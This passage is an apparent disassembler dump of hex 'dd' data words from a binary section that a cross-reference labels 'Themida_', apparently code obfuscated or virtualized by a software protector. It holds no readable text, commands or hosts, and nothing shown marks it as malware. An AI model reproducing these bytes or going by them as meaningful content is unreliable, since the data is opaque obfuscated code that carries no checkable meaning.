		dd 18h,	4CC35545h, 9269006Dh, 4E8h, 1000000h, 50FA8B00h
		dd 8BDA8B66h, 8B042444h, 24448900h, 10BF6604h, 840F589Ah
		dd 3, 50C8BF0Fh, 2721BB66h, 6A240489h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 6AECC356h
		dd 88B0F0Bh, 50000000h,	1A958D03h, 2359061Eh, 1E1D958Dh
		dd 8D858D06h, 0F0621A2h, 8Fh, 8B605700h, 1E0469B5h, 31858B06h
		dd 61061E2Eh, 489505Bh,	0D958924h, 0FF061E14h, 1E07B195h
		dd 56EB8006h, 0B58DF98Ah, 621A297h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 19h, 2CC35040h, 0F3DADFCEh, 41BD0146h
		dd 96061E2Ch, 5E8h, 0ED0D3600h,	505B2548h, 8860Fh, 50600000h
		dd 5A310F52h, 6A966158h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 16042444h, 43000000h, 60AC353h, 95B52912h
		dd 50061E0Ch, 0D513BF66h, 0F240489h, 95FFFFBFh,	61E3195h
		dd 0FF0CC580h, 0C0B58BD0h, 6A0621A2h, 3E85500h,	20000000h
		dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 0C52BC355h
		dd 75EC4617h, 5F2B7363h, 0A2B885C7h, 621h, 95330000h, 61E04C1h
		dd 5E9D1DBFh, 207E803Ah, 68840F00h, 89000003h, 1E1CE185h
		dd 6A6006h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
		dd 52420000h, 899619C3h, 1E2EBD9Dh, 20468D06h, 2D159D8Bh
		dd 8589061Eh, 621A2BCh,	1F19BD09h, 11E9061Eh, 37000000h
		dd 0C0DB027Bh, 698DE341h, 0FFC2D865h, 0C84DB852h, 4EE9h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1604h
		dd 0C3574700h, 8BD810C0h, 1E2C798Dh, 6A4006h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 8BC9A4C3h
		dd 0D15D0D26h, 6666C380h, 802838BFh, 850F0038h,	0FFFFFFCDh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 9AC35040h
		dd 0D15C4A96h, 89BAF70Fh, 1E1EE1BDh, 0C8B0F06h,	0F000000h
		dd 687h, 0D1958B00h, 0E9061E09h, 8, 0EC5DD68Fh,	0C1A416FAh
		dd 50E9h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
dword_569968	dd 24448104h, 1804h, 0C3564600h, 0D6D36D31h, 0BE9B9h, 493C0000h
					; DATA XREF: Themida_:off_54CF8Co
		dd 5C6C9102h, 9112E653h, 14E95Ch, 7E6A0000h, 5C97A40Ch
		dd 64E0ACh, 0C3AD1E86h,	56F7FB0Ch, 23487D46h, 1E19099Dh
		dd 5C388006h, 21840Fh, 0D6800000h, 80AFB110h, 840F2F38h
		dd 13h,	0BC853BFCh, 0F0621A2h, 0FFFFD583h, 358D8BFFh, 40061E27h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0D1C35242h
		dd 369DA8C8h, 837D9950h, 21A2C4BDh, 840F0006h, 56h, 8AB3F9BBh
		dd 0FC8A502Fh, 66240489h, 8503CE8Bh, 621A2C4h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 93C35040h, 64DCC54Eh
		dd 6D344D4Ch, 95B50158h, 0C6061E21h, 0F88B0000h, 22318531h
		dd 8958061Eh, 1E165DBDh, 827EBA06h, 0E8900715h,	7, 0F2701D55h
		dd 0E944B415h, 7, 7AB77EB7h, 5BC01BF0h,	66525050h, 0F3B53BBh
		dd 6E931h, 0BB070000h, 0FD267BDBh, 8B90585Ah, 1E13B195h
		dd 0B0B5FF06h, 6A0621A2h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1A042444h, 41000000h, 6BAC351h, 0B4899F42h
		dd 0B99D8918h, 0F061E0Ch, 0B88h, 5870F00h, 66000000h, 4960EB81h
		dd 0A2B495FFh, 6A0621h,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 1B0424h, 57470000h, 29A894C3h, 428C2A12h, 0FA8B66DDh
		dd 850FC00Bh, 87h, 2D61BD89h, 6A61061Eh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 0E04FC351h
		dd 80E698A1h, 0E18161E6h, 6BC33522h, 0A2B885C7h, 10621h
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
		dd 52420000h, 0E1649FC3h, 0DF8B669Dh, 7E8h, 44D4D000h
		dd 59C32830h, 10E8h, 8474900h, 0DE4CBF84h, 2746B000h, 87D441ABh
		dd 5959FC32h, 3AE9h, 61CA8B00h,	1E199589h, 0C681061Eh
		dd 11Ch, 0DE9h,	0BB99E600h, 0E90CB925h,	75A810F0h, 0A2E9EA37h
		dd 0E9FFFFFCh, 0Fh, 7218B42h, 0D793348Bh, 0B87DF66Ah, 0E8D07D9Eh
		dd 4, 8000h, 0E950D98Ah, 0Dh, 0A3B0E3CEh, 8E6655D5h, 0AAB074D9h
		dd 24448BF1h, 0CF8B6604h, 0BB66008Bh, 4489B692h, 0BB600424h
		dd 3CCD99D7h, 55A6B966h, 6A5861h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1A0424h, 50400000h, 0B445D8C3h, 0D4024A34h
		dd 13E9h, 14180100h, 2DE1D41Bh,	0B67F1D2Ah, 0E7DC0E11h
		dd 7FFC3227h, 2C919D03h, 6A061Eh, 68A0F60h, 89000000h
		dd 1E313195h, 0CD9D2306h, 61061E04h, 14CD9D8Bh,	0B5FF061Eh
		dd 621A2C0h, 1D8195FFh,	6A061Eh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 160424h, 52420000h, 0DEE71DC3h, 0DDB5BF66h
		dd 0C758589h, 858B061Eh, 621A2B8h, 475B966h, 0EB71BA50h
		dd 4896F5Eh, 68D0F24h, 8B000000h, 1E1775BDh, 0C8858D06h
		dd 0E90621A2h, 13h, 1B55C854h, 470DC037h, 0C87A5F0Ch, 0C530378Bh
		dd 50D0A74Eh, 48941B6h,	0CF816624h, 858DC651h, 621A285h
		dd 0E659589h, 8B90061Eh, 6A9050D7h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 1B1EC351h
		dd 81E8E466h, 0DF6C92F3h, 2595FF26h, 81061E02h,	0C1CB4DC9h
		dd 53C08B75h, 0ABF4EF81h, 83592C25h, 1E1D79BDh,	9750006h
		dd 2B25BD83h, 7400061Eh, 8B535013h, 4D0B8C0h, 9D8D0000h
		dd 620AA75h, 585BD3FFh,	2B25BD83h, 7400061Eh, 0B8535011h
		dd 4D0h, 0A9749D8Dh, 0D3FF0620h, 6A585Bh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 180424h, 53430000h, 0B63133C3h
		dd 0B96618E3h, 6AB52Ch,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 1B0424h, 51410000h, 2FE23CC3h, 8D53CC2h, 8B5F5202h
		dd 359D29C0h, 58061E0Fh, 660008C2h, 0C08BDE8Bh,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 8CC35040h, 0A6EE70E9h
		dd 8B5FD8F8h, 1E3131BDh, 0F5858D06h, 660621A2h,	8967C5BAh
		dd 1E033D85h, 39EB06h, 0CC00BE00h, 0E400BE02h, 0BE02h
		dd 76000000h, 4645BA7Ch, 0E974A370h, 3720B278h,	4D4DB97Ch
		dd 7C4CB33Bh, 4C749915h, 4A209B59h, 67509861h, 7348837Bh
		dd 8044B670h, 1120BD75h, 2020D4FDh, 0D379F715h,	2C6C5E4Ch
		dd 20645611h, 220CE11h,	0C2719615h, 688E04B0h, 4EC9CC7Eh
		dd 4D20D715h, 29B88D9Eh, 0D161811Dh, 0E5EF9220h, 0DE05C83h
		dd 0BCA327AAh, 863ECA6Ch, 0C329A215h, 3E0BF2A8h, 954D713h
		dd 0C8AB8445h, 4246EADh, 0EBA55E15h, 8C26C919h,	0A08CED88h
		dd 1BF32813h, 59D544Dh,	1026C93Eh, 5B70C061h, 4246EADh
		dd 0EBA55E15h, 8C26C919h, 0A089FE88h, 1BF32813h, 7620BD4Dh
		dd 1020D4FDh, 0CB7EF715h, 20545E4Bh, 26645611h,	120C211h
		dd 43769115h, 0DDA93B85h, 263EC1F8h, 95876873h,	820C6FCh
		dd 71ECCD15h, 6F2F7056h, 942C5284h, 3CBD296Ah, 80AB84DCh
		dd 0C875D77Fh, 1020D716h, 55E38A35h, 4BB9Ch, 6049394h
		dd 120D70Fh, 6CE38250h,	0A59DB566h, 0B5A9CF90h,	163EF768h
		dd 286152D3h, 6E76D10Bh, 1C88515h, 2120D715h, 97A144Fh
		dd 0C124F341h, 3724F351h, 5220D715h, 94231447h,	0B11176B6h
		dd 43ED82Ch, 41DFF47Dh,	7B99B127h, 6424569Fh, 4A476E3Ah
		dd 0F877D77Fh, 820D716h, 5BE38835h, 604AB9Ch, 5049394h
		dd 8020D709h, 9AE38052h, 0CBF2753Bh, 0D28D403Eh, 2ED9629Eh
		dd 0B1DFD10Bh, 43EE584h, 3F4C7FAFh, 5AD2F14h, 4601AFC4h
		dd 0C877D77Fh, 1020D716h, 57E38835h, 4AB9Ch, 6049394h
		dd 120D703h, 98E38052h,	8FA11B5Ah, 494E81F4h, 0AD2307EAh
		dd 0E3ECC9Ch, 44AD37Fh,	2233F47h, 5B00D715h, 0D4A98DD6h
		dd 4A1D331h, 2038D331h,	4262D715h, 878493D6h, 7948DCA4h
		dd 64BB6EF9h, 5A1049Eh,	0C6035431h, 1620BD71h, 2020D4FDh
		dd 0D37EF715h, 2C545E4Bh, 20645611h, 220CD11h, 0C2769115h
		dd 67F3DB0Eh, 0C9EA4CF1h, 3E3D52A0h, 731EBF13h,	58404211h
		dd 0BE25C47h, 5841B724h, 5A1B64Dh, 7BBF7931h, 9FA1B17Fh
		dd 204AED14h, 0F873D77Fh, 820D716h, 5FE38C35h, 6048B9Ch
		dd 5049394h, 8020D702h,	5AE38456h, 299F88E2h, 0E009288h
		dd 89F02813h, 3FB87AC7h, 19A55E6Eh, 0E926F6A5h,	8020D71Dh
		dd 879F1256h, 0B984B9C9h, 4ED6681Ah, 0C4252F9Eh, 8D20D717h
		dd 2390C890h, 19E05413h, 3003529Ch, 8013D134h, 20223BACh
		dd 7A8A2415h, 0BC88415h, 2420D715h, 8B7B144Eh, 8024F349h
		dd 9724F351h, 320D715h,	4A381446h, 379E4FA4h, 626BAD83h
		dd 7C88515h, 2220D715h,	887A144Fh, 124F341h, 5C24F351h
		dd 6220D715h, 0BEE1447h, 0CBE79BE3h, 8DA0BE3Bh,	1C3FE6A0h
		dd 40A51113h, 0C326C935h, 4027541Ah, 0AF2FD715h, 1020D714h
		dd 0C6A569EDh, 0C89F38h, 5C20D715h, 0E8BCB07Eh,	8020D71Ch
		dd 0DC52C1C5h, 98735915h, 0DFAA8771h, 0C04939Eh, 420DFFCh
		dd 0F9BD615h, 0EC355235h, 0E6205C35h, 4A91D9Eh,	32C8D331h
		dd 1020D715h, 8DA2A8DCh, 82939E2Ah, 979A7A8Ah, 59AF0268h
		dd 0E6788EA8h, 0BF755FACh, 3E1246A0h, 16A2D813h, 8120D715h
		dd 1A376A98h, 0D3A55A13h
		dd 6B26F66Dh, 83C88115h, 6020D715h, 0A97E144Bh,	9124F361h
		dd 1F24F351h, 4220D715h, 92701443h, 8E2FAA2Eh, 8020D710h
		dd 0DBFE5673h, 99F028DDh, 60FFB702h, 3A41529Ch,	81A9D10Bh
		dd 43EDEF8h, 0E975D77Fh, 8020D716h, 1DE38A35h, 2404BB9Ch
		dd 14049394h, 820D70Eh,	0F7E38250h, 0BDBD847Ch,	8C4F2E3Ah
		dd 9E287E90h, 1020BD13h, 2020D4FDh, 0D378F715h,	2C645E4Dh
		dd 20645611h, 220CB11h,	0C2709715h, 0C61A15E0h,	9112ADFCh
		dd 63E25690h, 0E53EE445h, 29CD529Ch, 0BA46D10Bh, 87E6FDD6h
		dd 73EF754h, 19D5E46h, 0A826C906h, 2020D711h, 0EC919FCDh
		dd 820DCFCh, 0FF6C9D15h, 90EFF722h, 4F3B115Ah, 0BE85D45h
		dd 0F624F351h, 0C9205C13h, 1020D706h, 50B0402Dh, 5EE45BC1h
		dd 8E55D06Eh, 0DA22AC22h, 9C396D5h, 1124F351h, 11E16D46h
		dd 4A7EC767h, 1D955C4Dh, 8D26C90Ch, 1C36CAA8h, 90952813h
		dd 0B26C927h, 5E094E80h, 0D2566813h, 95ADAE9Ah,	0E01AFC4h
		dd 0FBD95C73h, 5420BDC5h, 120D4FDh, 437EF715h, 64545E4Bh
		dd 4645611h, 1020C011h,	0CB769115h, 0B8C9E7FEh,	24E1529Ch
		dd 14AD10Bh, 80233F45h,	1800D715h, 64A98FD6h, 54A1D331h
		dd 83BD331h, 5460D715h,	0A055F2D6h, 0CC0B9ED2h,	7BAB854Fh
		dd 1A5114Bh, 7326C935h,	1515421Ch, 0FB48D10Bh, 5487CC8Ch
		dd 4C928147h, 5B11D84Fh, 0A414564Dh, 3F238A55h,	95DF259Eh
		dd 163EE584h, 0E070D77Fh, 420D716h, 5AE38F35h, 504939Ch
		dd 84049394h, 4020D703h, 91E38755h, 95A9ACE1h, 0E3EE6C4h
		dd 7CF15298h, 24AD134h,	1233F46h, 0DB00D715h, 1CA98CD6h
		dd 64A1D331h, 103AD331h, 5B63D715h, 40395CD6h, 0E285F972h
		dd 0FED51E95h, 0D520BDC5h, 4020D4FDh, 0E37DF715h, 344C5E48h
		dd 2C645611h, 420C011h,	0C1759215h, 0BF336CEAh,	8020DAFCh
		dd 40FA2D15h, 0F2BE7049h, 0FDAB391Ah, 1AC84D53h, 0B420D715h
		dd 0C266D438h, 0CAC300D7h, 4F080BBCh, 9C39641Fh, 0F9955E6Dh
		dd 4A26C93Ah, 74C15673h, 51A55E4Bh, 6826C900h, 2C88415h
		dd 0A020D715h, 0C97B144Eh, 0A124F349h, 0C24F351h, 4B20D715h
		dd 232E1446h, 0AD1AB276h, 88F6652Eh, 9E231E88h,	89B55E13h
		dd 0E626C908h, 0E009690h, 81D59013h, 1A278E98h,	3386BF13h
		dd 12C92AB3h, 6220D715h, 5CDF7B7Ch, 9F6ADCF9h, 0DE646DE7h
		dd 50C087B2h, 30A1A351h, 7ACCD831h, 5420BD5Fh, 8020D4FDh
		dd 837DF715h, 44C5E48h,	34645611h, 820CB11h, 0C7759215h
		dd 8920683Dh, 582D3D7Ah, 0B995DEAAh, 0BF26C918h, 3E1246A0h
		dd 4720BD13h, 820D4FDh,	0C77FF715h, 265C5E4Ah, 25645611h
		dd 8020CB11h, 83779015h, 6599DB7Ch, 0A4C6CACEh,	0B1AD5C0Ah
		dd 0BA26C919h, 55793E6Dh, 79F15298h, 804AD134h,	40233F42h
		dd 7F00D715h, 6CA988D6h, 4CA1D331h, 43BD331h, 5567D715h
		dd 0A0F141D6h, 0E731160Ah, 65B55CC0h, 0DF26C90Bh, 18A7D8C5h
		dd 5A20D715h, 132D6A9Eh, 8B7FD10Bh, 1F0A5290h, 0D720BD13h
		dd 4020D4FDh, 0E37FF715h, 345C5E4Ah, 2C645611h,	420CF11h
		dd 0C1779015h, 89E2146Eh, 83ABD85Dh, 4F20D715h,	0A5E628A2h
		dd 163EF754h, 5920BD52h, 420D4FDh, 0C179F715h, 256C5E4Ch
		dd 0A4645611h, 4020CD11h, 0E3719615h, 0FD88EF2Ch, 8148A620h
		dd 1A240698h, 24D7BF13h, 537019ECh, 0F05F2AAh, 1711D82Bh
		dd 20205F1Ah, 4A79D715h, 2C14564Dh, 4B05E198h, 226571Ah
		dd 84A9D715h, 863EDBACh, 72B162EAh, 204AD10Bh, 10233F47h
		dd 5200D715h, 50A98DD6h, 46A1D331h, 135D331h, 0D262D715h
		dd 4FB394D6h, 2020D398h, 889EB115h, 0D9A55A72h,	8D26F66Dh
		dd 1C2ACE98h, 6BF02813h, 83C88615h, 6020D715h, 0A979144Ch
		dd 9124F359h, 1024F351h, 4520D715h, 0B8361444h,	8A93ADB5h
		dd 9E03C2A0h, 0C5A92E13h, 263ECDB0h, 0F876D77Fh, 820D716h
		dd 5AE38935h, 604A39Ch,	5049394h, 8020D702h, 5E38153h
		dd 9B636DAh, 0E391E90h,	49A51113h, 4326C935h, 0EA71D77Fh
		dd 120D716h, 0D9E38E35h, 44049B9Ch, 24049394h, 1020D70Eh
		dd 60E38654h, 3AC83C0Ch, 0FBB18B1Fh, 120D3FDh, 4D1C8A15h
		dd 98ABB7BFh, 7041069Eh, 9D9E8475h, 574B8365h, 420DAFCh
		dd 4FC1A315h, 727F4C62h, 0B3D8C072h, 0CB416124h, 0AB24F351h
		dd 99205CC2h, 5824F351h, 0B096647h, 5A788D24h, 0B4DF00A3h
		dd 863EE584h, 0A871D77Fh, 2020D716h, 49E38E35h,	0C049B9Ch
		dd 49394h, 220D70Fh, 0A9E38654h, 0C57123A2h, 0CDD926F6h
		dd 1580690h, 51B5D413h,	0F726C91Dh, 32CF56C5h, 8B652A98h
		dd 1F229E90h, 729FD813h, 4020D1FCh, 0F64DA515h,	0EFCF2FF6h
		dd 5920BDC5h, 420D4FDh,	0C179F715h, 256C5E4Ch, 0A4645611h
		dd 4020C211h, 0E3719615h, 0AF4667F9h, 8DA99E4Eh, 23ECBDCh
		dd 0EA75D77Fh, 120D716h, 0DDE38A35h, 4404BB9Ch,	24049394h
		dd 1020D709h, 70E38250h, 0E3FE4A95h, 0CAE113DCh, 6CD4224h
		dd 7540D10Bh, 5E6D629Ch, 4641D10Bh, 104A0F99h, 8233F44h
		dd 5D00D715h, 4EA98ED6h, 45A1D331h, 8034D331h, 1161D715h
		dd 68911FD6h, 104AD331h, 8233F44h, 5D00D715h, 4EA98ED6h
		dd 45A1D331h, 8035D331h, 1161D715h, 2A9ADFD6h, 0E4A4D8D5h
		dd 6220D717h, 7C88515h,	2220D715h, 887A144Fh, 124F341h
		dd 5824F351h, 6220D715h, 0B52D1447h, 814DA458h,	1A290EA0h
		dd 43A51113h, 4E26C935h, 6AA1B145h, 287AE14Fh, 0D88DD8B2h
		dd 24A1189Eh, 2543B431h, 4273F52h, 0D9CBD715h, 1F023C1Eh
		dd 35ADDE44h, 1E26C938h, 899D5C43h, 4F26C926h, 3AB162EAh
		dd 81ADD10Bh, 401AFC4h,	351529Ch, 3D09D10Bh, 463EC058h
		dd 0A14607EAh, 0A2E7CCCFh, 2CE05495h, 9BDE2EACh, 43A55E37h
		dd 6B26C901h, 83C88615h, 6020D715h, 0A979144Ch,	9124F359h
		dd 1E24F351h, 4520D715h, 2A251444h, 0C8A55CCBh,	0E626C909h
		dd 0DDAB049Eh, 263ED55Ch, 3D8D629Eh, 6263D10Bh,	7C88215h
		dd 2220D715h, 887D1448h, 124F379h, 5524F351h, 6520D715h
		dd 96F31440h, 83DA601Ah, 0FCABB10Eh, 0B7ABCC9Eh, 73ED74Ch
		dd 8026551Ah, 0D5ABD715h, 263EF430h, 9B46CC9Eh,	62F8E4C2h
		dd 7C88415h, 2220D715h,	887B144Eh, 124F349h, 5624F351h
		dd 6320D715h, 8E271446h, 95ABB7A7h, 23EC3D8h, 0B8C156AEh
		dd 8046B673h, 9EA5CCCh,	5E346A88h, 7C9AB113h, 51A51175h
		dd 4F26C935h, 0EC76D77Fh, 220D716h, 5FE38935h, 8404A39Ch
		dd 44049394h, 2020D70Dh, 0C5E38153h, 0A3FB9CC1h, 22C75646h
		dd 5D50D41Ah, 120D3FDh,	5EFD7E15h, 51C887A2h, 1C20D715h
		dd 7DEEBD4Ah, 1BCFC40Fh, 0BF499C87h, 722E6AC0h,	816B23ABh
		dd 0C4AB8E42h, 0C52FD331h, 2020D717h, 10AB0CA4h, 4CA930A3h
		dd 3C8D331h, 0B620D715h, 0B8E39FDEh, 8CC9B897h,	3C20D715h
		dd 6B44436h, 0A793FF15h, 52F96D8Ch, 5420BD4Dh, 220D4FDh
		dd 0C278F715h, 0A4645E4Dh, 64645611h, 2020C111h, 0D3709715h
		dd 7DB5598h, 420D690h, 0B7DF2E15h, 73EE584h, 99B95A9Eh
		dd 0C5ADD10Bh, 2601AFC4h, 0F876D77Fh, 820D716h,	5AE38935h
		dd 604A39Ch, 5049394h, 8020D70Eh, 70E38153h, 0AF7836ACh
		dd 7637D230h, 9DAB259Eh, 23EC014h, 24A07EAh, 1233F45h
		dd 0D800D715h, 4A98FD6h, 64A1D331h, 103BD331h, 5860D715h
		dd 1F7368D6h, 0B4F39A10h
		dd 84A55E18h, 0E626C93Fh, 21DBABh, 0F35309ABh, 7A205C7Ch
		dd 0BC88115h, 2420D715h, 8B7E144Bh, 8024F361h, 9A24F351h
		dd 620D715h, 0F8F51443h, 0BD736EC7h, 0F9ABB1F3h, 44AD79Eh
		dd 2233F42h, 5E00D715h,	0FCA988D6h, 4A1D331h, 2037D331h
		dd 4767D715h, 0E02D4D6h, 0DDA1B1EFh, 87A98A86h,	73EDED8h
		dd 6875D77Fh, 4020D716h, 7DE38A35h, 1404BB9Ch, 0C049394h
		dd 420D702h, 2CE38250h,	8AF3AAA6h, 9E28F698h, 415A3E13h
		dd 204AD715h, 10233F47h, 5200D715h, 50A98DD6h, 46A1D331h
		dd 135D331h, 0D262D715h, 0CD5B9AD6h, 1909690h, 4120BD13h
		dd 820D4FDh, 0C779F715h, 266C5E4Ch, 25645611h, 8020C311h
		dd 83719615h, 7040475Ch, 1F7F8147h, 52D25C24h, 42C3F4Dh
		dd 0C3A3D715h, 0BF046918h, 0DFD215E8h, 0F946BC15h, 417BEA77h
		dd 0B2066D45h, 62B0FD68h, 7C88515h, 2220D715h, 887A144Fh
		dd 124F341h, 5624F351h,	6220D715h, 0BB161447h, 0F0ABB7D3h
		dd 66EF0794h, 0FD41B7FEh, 1F3B0680h, 0D120BD13h, 4020D4FDh
		dd 0E379F715h, 346C5E4Ch, 2C645611h, 420CB11h, 0C1719615h
		dd 24C8CF20h, 90CEA51Dh, 93ABB153h, 2020DAFCh, 2C6FDF15h
		dd 0D839B845h, 40726440h, 9FAD31B3h, 7016752h, 6870D77Fh
		dd 4020D716h, 78E38F35h, 1404939Ch, 0C049394h, 420D708h
		dd 24E38755h, 556A6EEh,	9D51E776h, 0B18D6D21h, 7070F971h
		dd 4C096947h, 392F944Ch, 5EEF5C73h, 263C5E4Dh, 0E973D77Fh
		dd 8020D716h, 1BE38C35h, 24048B9Ch, 14049394h, 820D70Eh
		dd 3AE38456h, 81E31D4Ch, 912BB9F8h, 8F7085A4h, 4020D59Ah
		dd 0B0D15C15h, 0F870D77Fh, 820D716h, 5CE38F35h,	604939Ch
		dd 5049394h, 8020D703h,	4BE38755h, 0B5DF8E7Bh, 163EE680h
		dd 0B52BF2A3h, 23ED0ACh, 1661529Ch, 94ABD10Bh, 863EC1A4h
		dd 606152D3h, 4673D10Bh, 64F80E94h, 0AA71667Dh,	0F5ABB198h
		dd 0CC04D394h, 673C3227h, 2A4D0894h, 72B162EAh,	204AD10Bh
		dd 10233F46h, 5300D715h, 58A98CD6h, 46A1D331h, 135D331h
		dd 0D363D715h, 0F99E44D6h, 55C01D0h, 12B9429Ch,	8DADD10Bh
		dd 201AFC4h, 0EA75D77Fh, 120D716h, 0DDE38A35h, 4404BB9Ch
		dd 24049394h, 1020D70Ch, 79E38250h, 0C3556FBFh,	0FBA55EC7h
		dd 0FE26C93Bh, 8DBDDEC5h, 0C926C93Ch, 3E122E90h, 4520BD13h
		dd 820D4FDh, 0C77DF715h, 264C5E48h, 25645611h, 8020CD11h
		dd 83759215h, 1C5ECD13h, 1F96F4E4h, 820D191h, 0DDBD5E15h
		dd 0C426C917h, 1F009690h, 6D489013h, 0A918F43Eh, 2020D71Ch
		dd 4CF21A26h, 0FAA2ADCCh, 2024560Ah, 6B6E3EB6h,	909528E9h
		dd 0EA26C927h, 43C88715h, 20D715h, 9978144Dh, 8924F351h
		dd 1924F351h, 4220D715h, 8CFF1445h, 0DBC2A7B8h,	0C1184FA6h
		dd 0F15A16h, 95ADD10Bh,	0E01AFC4h, 0EC76D77Fh, 220D716h
		dd 5FE38935h, 8404A39Ch, 44049394h, 2020D70Ch, 26E38153h
		dd 0D28E0227h, 0EDA55EC9h, 3326C91Ch, 1F34EA80h, 8FF02813h
		dd 4020D191h, 41BD5E15h, 9926C915h, 160BEA90h, 0C6A1B113h
		dd 87E68CFEh, 73EF754h,	0D620BD46h, 4020D4FDh, 0E37EF715h
		dd 34545E4Bh, 2C645611h, 420CC11h, 0C1769115h, 60B349E3h
		dd 8FD854F5h, 4026531Ah, 0ADA9D715h, 163EDA2Ch,	68D529Ch
		dd 0BB2FD10Bh, 5B53BFC3h, 5370F75Ah, 85666947h,	4F7FB1EAh
		dd 0A1788D24h, 163DF311h, 0B246AFFFh, 0B1DF3018h, 43EE584h
		dd 0E975D77Fh, 8020D716h, 1DE38A35h, 2404BB9Ch,	14049394h
		dd 820D703h, 0A0E38250h, 0D711592h, 120D796h, 5AD8D15h
		dd 4601AFC4h, 0C876D77Fh, 1020D716h, 56E38935h,	4A39Ch
		dd 6049394h, 120D702h, 7EE38153h, 0BF6D7218h, 20313EC5h
		dd 8F32D715h, 0F190AE4Ch, 4C5446EFh, 181DA37h, 8813B74Fh
		dd 9E28A290h, 0F9A55E13h, 4A26C903h, 13C88115h,	2820D715h
		dd 8D7E144Bh, 8324F361h, 1724F351h, 0C620D715h,	7A691443h
		dd 0DB55EAEh, 0D626C935h, 16009690h, 8DD88013h,	1C0EE698h
		dd 1243F13h, 0D226D715h, 3C994711h, 7037D982h, 1020C3FCh
		dd 8212CA15h, 0C7598E2h, 634F3F97h, 0F5E8BAF1h,	8EC7DA75h
		dd 64645C4Fh, 0ABEE5C11h, 34645E15h, 507A8511h,	0EC73D77Fh
		dd 220D716h, 5AE38C35h,	84048B9Ch, 44049394h, 2020D702h
		dd 0B0E38456h, 0F7191148h, 1A1246A0h, 6FB55C13h, 8826C911h
		dd 9E233E88h, 91A55A13h, 4A26F66Dh, 13C88415h, 2820D715h
		dd 8D7B144Eh, 8324F349h, 1924F351h, 0C320D715h,	76821446h
		dd 0DFE61FDAh, 4620BDC5h, 820D4FDh, 0C77EF715h,	26545E4Bh
		dd 25645611h, 8020C211h, 83769115h, 0ADAB8415h,	163EF7D0h
		dd 820DDFCh, 39B52D15h,	4996BEA9h, 88C279B8h, 9E368290h
		dd 0B39FD813h, 6152D3h,	9963D10Bh, 160D12A8h, 0B8D66D13h
		dd 7A48E4E9h, 804C5ECFh, 1590F311h, 404A8713h, 20233F42h
		dd 4F00D715h, 74A988D6h, 40A1D331h, 236D331h, 5667D715h
		dd 66858BD6h, 4020C5FCh, 9DF0A615h, 0D920DA8Eh,	37A5556Ah
		dd 9BA6645Ch, 0FDB56DB8h, 1F1246A0h, 0D220BD13h, 4020D4FDh
		dd 0E37AF715h, 34745E4Fh, 2C645611h, 420CE11h, 0C1729515h
		dd 0B978736Ah, 0DAB90A6h, 463EE6F8h, 58F15298h,	0EFD8D134h
		dd 5F20BDC5h, 420D4FDh,	0C17FF715h, 255C5E4Ah, 0A4645611h
		dd 4020C111h, 0E3779015h, 0F8C2C155h, 820D712h,	77ECCF5Ch
		dd 0EB475D57h, 120D71Fh, 0FE29BC13h, 178FD104h,	0AB7A1B8Dh
		dd 0E02A680h, 65A55E13h, 6226C90Bh, 17650994h, 0B1175298h
		dd 804AD134h, 40233F44h, 7900D715h, 5CA98ED6h, 4CA1D331h
		dd 436D331h, 5361D715h,	2237CFD6h, 1DD30894h, 0FA70EE5Bh
		dd 73DB03B9h, 1F04D39Ch, 820D497h, 0CFABB115h, 19F142EAh
		dd 14AD10Bh, 80233F42h,	1F00D715h, 5CA988D6h, 54A1D331h
		dd 839D331h, 5367D715h,	7A123CD6h, 886F4EC7h, 9E29FE90h
		dd 4FF85C13h, 2020D194h, 89ADFE15h, 8526C910h, 2590FC90h
		dd 5020BD13h, 120D4FDh,	437AF715h, 64745E4Fh, 4645611h
		dd 1020C311h, 0CB729515h, 35955C15h, 0EA26C914h, 120D718h
		dd 68CE0DC5h, 37E7D7BEh, 5390C420h, 79A55E73h, 5726C917h
		dd 28866D45h, 6A989A6h,	5420BD31h, 8020D4FDh, 837DF715h
		dd 44C5E48h, 34645611h,	820C311h, 0C7759215h, 0EBA55EB4h
		dd 9226C90Ah, 0EAE96973h, 0D3D75C45h, 0C871D77Fh, 1020D716h
		dd 51E38E35h, 49B9Ch, 6049394h,	120D70Dh, 51E38654h, 0EF85A0A2h
		dd 0EB97D843h, 85B5284Bh, 8326C924h, 1A126680h,	8FA55E13h
		dd 8A26C90Fh, 9E3E4680h, 0ADA51013h, 2F26C901h,	7A20D715h
		dd 0BC88215h, 2420D715h, 8B7D1448h, 8024F379h, 9724F351h
		dd 520D715h, 732F1440h,	0A79A283Eh, 0F7339E96h,	1A3A5A80h
		dd 5220BD13h, 120D4FDh,	4378F715h, 64645E4Dh, 4645611h
		dd 1020CD11h, 0CB709715h, 0C85EFDC1h, 0D81500Ch, 120D198h
		dd 35B5DE15h, 0C926C935h, 3E237690h, 4620BD13h,	820D4FDh
		dd 0C77EF715h, 26545E4Bh, 25645611h, 8020CD11h,	83769115h
		dd 65BDE63Dh, 134DC6B2h, 160A1EA0h, 0E9A55C13h,	8F26C91Ch
		dd 20E35888h, 81635E13h, 48896A98h, 95ADD10Bh, 1601147Ch
		dd 820E4ACh, 0EF842415h, 2206F26h, 0C12BD715h, 98E2D461h
